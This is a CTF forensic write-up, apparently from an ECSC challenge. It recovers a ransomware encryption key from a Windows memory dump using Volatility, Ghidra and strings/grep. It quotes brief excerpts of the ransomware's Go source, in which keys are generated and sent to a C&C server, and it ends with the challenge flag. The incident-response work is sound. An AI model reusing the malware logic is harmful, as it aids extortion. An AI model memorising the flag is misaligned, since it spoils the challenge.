3615 Incident (2)

Category: Forensic

Points: 330

Description: Une victime de plus tombée sous le coup d’un rançongiciel. Le paiement de la rançon n’est pas envisagée vu le montant demandé. Vous êtes appelé pour essayer de restaurer les fichiers chiffrés. Une suite d’éléments est nécessaire pour avancer dans l’investigation et constituer le rapport d’incident. Retrouvez la clé de chiffrement de ce rançongiciel! Note : l’image disque fait environ 440 Mo compressée et environ 1.4 Go décompressée. Elle est identique au challenge 3615 Incident - 1. Réponse attendue au format ECSC{clé}.

Files: mem.dmp

TL;DR

An analysis of the ransomware gives us a pattern to find that contains the encryption key. The key is found thanks to strings and grep.

Methodology

Now that we know the identity of the ransomware we are able to analyze it..

First we'll extract it from the memory dump with Volatillity.

>_ volatility -f mem.dmp --profile=Win10x64 procdump -p 5208 -D dump
Volatility Foundation Volatility Framework 2.6.1
Process(V)         ImageBase          Name                 Result
------------------ ------------------ -------------------- ------
0xffffe000106bb840 0x0000000000400000 ?                    OK: executable.5208.exe

And now we're going to do some reverse with Ghidra because I like its integrated decompiler.

code analyse avec ghidra

As I don't know much about reverse, I decided to focus on strings.

ghidra strings

We notice that there is a link to github. Let's go see what it is.

The github repo seems to be the source code of the ransomware.

By comparing the repo code with the decompiled code there are many similarities. We deduce that the repo code corresponds to the malware analysis.

In the file cryptofs/file.go there is an interesting function:

func (file *File) Encrypt(enckey string, dst io.Writer) error {
    [...]
}

The encryption key is passed as a parameter to the function Encrypt.

By looking at where this key is generated we arrive at a file called ransomware.go which contains this function:

func encryptFiles() {
    [...]

    // Generate the id and encryption key
    keys["id"], _ = utils.GenerateRandomANString(32)
    keys["enckey"], _ = utils.GenerateRandomANString(32)

    // Persist the key pair on server
    res, err := Client.AddNewKeyPair(keys["id"], keys["enckey"])
    if err != nil {
        cmd.Logger.Println("Ops, something went terribly wrong when contacting the C&C... Aborting...")
        cmd.Logger.Println(err)
        return
    }

    [...]

    // Encrypt the file sending the content to temporary file
    err = file.Encrypt(keys["enckey"], tempFile)
    [...]
}

We can see that the key is generated and then sent to a remote server.

Volatility confirms it:

volatility -f mem.dmp --profile=Win10x64 netscan                                                                                                                                                     9:44:20
Volatility Foundation Volatility Framework 2.6.1
Offset(P)          Proto    Local Address                  Foreign Address      State            Pid      Owner          Created
[...]
0xe0001265ad10     TCPv4    192.168.248.133:49774          192.168.1.25:8080    ESTABLISHED      5208     ?              2019-05-08 20:00:17 UTC+0000
[...]

If the connection has been established and sent to a server it is necessarily somewhere in the memory.

In the code we can see which one is sent according to a very precise pattern: {"id": "%s", "enckey": "%s"}

// AddNewKeyPair persist a new keypair on server
func (c *Client) AddNewKeyPair(id, encKey string) (*http.Response, error) {
    payload := fmt.Sprintf(`{"id": "%s", "enckey": "%s"}`, id, encKey)
    return c.SendEncryptedPayload("/api/keys/add", payload, map[string]string{})
}

Good, so strings is our friend in CTF! We will search for all the lines that contain the word enckey and we will take 10 lines above and below.

>_ strings mem.dmp | grep -A 10 -B 10 enckey
[...]
"C:\Users\TNKLSAI3TGT7O9\Downloads\assistance.exe" 
C:\Users\TNKLSAI3TGT7O9\Downloads\assistance.exe
S-1-5-21-2377780471-3200203716-3353778491-1000
{"id": "cd18c00bb476764220d05121867d62de", "enckey": "
cd18c00bb476764220d05121867d62de64e0821c53c7d161099be2188b6cac24cd18c00bb476764220d05121867d62de64e0821c53c7d161099be2188b6cac2495511870061fb3a2899aa6b2dc9838aa422d81e7e1c2aa46aa51405c13fed15b95511870061fb3a2899aa6b2dc9838aa422d81e7e1c2aa46aa51405c13fed15b
Encrypting C:\Users\Administrateur\Contacts\desktop.ini...
C:\Users\TNKLSA~1\AppData\Local\Temp\desktop.ini
C:\Users\TNKLSA~1\AppData\Local\Temp\desktop.ini
Encrypting C:\Users\Administrateur\Documents\desktop.ini...
C:\Users\TNKLSA~1\AppData\Local\Temp\desktop.ini
C:\Users\TNKLSA~1\AppData\Local\Temp\desktop.ini
Walking C:\Users\Administrateur\Favorites\Bing.url
Walking C:\Users\Administrateur\Favorites\Bing.url
C:\Users\Administrateur\Favorites\Links\desktop.ini
[...]

Among all the exits there is one that is interesting.

{"id": "cd18c00bb476764220d05121867d62de", "enckey": "
cd18c00bb476764220d05121867d62de64e0821c53c7d161099be2188b6cac24cd18c00bb476764220d05121867d62de64e0821c53c7d161099be2188b6cac2495511870061fb3a2899aa6b2dc9838aa422d81e7e1c2aa46aa51405c13fed15b95511870061fb3a2899aa6b2dc9838aa422d81e7e1c2aa46aa51405c13fed15b

We observe the pattern {"id": "%s", "enckey": "%s"} with the parameter enckey which seems a little long: cd18c00bb476764220d05121867d62de64e0821c53c7d161099be2188b6cac24cd18c00bb476764220d05121867d62de64e0821c53c7d161099be2188b6cac2495511870061fb3a2899aa6b2dc9838aa422d81e7e1c2aa46aa51405c13fed15b95511870061fb3a2899aa6b2dc9838aa422d81e7e1c2aa46aa51405c13fed15b

The enckey parameter starts with the same key as the id. The string is divided into 8 equal parts and 4 potential encryption keys are obtained. In reality 3 because we can exclude the one that corresponds to the id.

cd18c00bb476764220d05121867d62de
64e0821c53c7d161099be2188b6cac24
cd18c00bb476764220d05121867d62de
64e0821c53c7d161099be2188b6cac24

95511870061fb3a2899aa6b2dc9838aa
422d81e7e1c2aa46aa51405c13fed15b
95511870061fb3a2899aa6b2dc9838aa
422d81e7e1c2aa46aa51405c13fed15b

Well, we'll try to get them back in to see the one that validates the challenge.

The most likely is this one but it doesn't validates the challenge 64e0821c53c7d161099be2188b6cac24.

We'll try again with the 2nd 95511870061fb3a2899aa6b2dc9838aa and she flag.

FLAG_IS:

ECSC{95511870061fb3a2899aa6b2dc9838aa}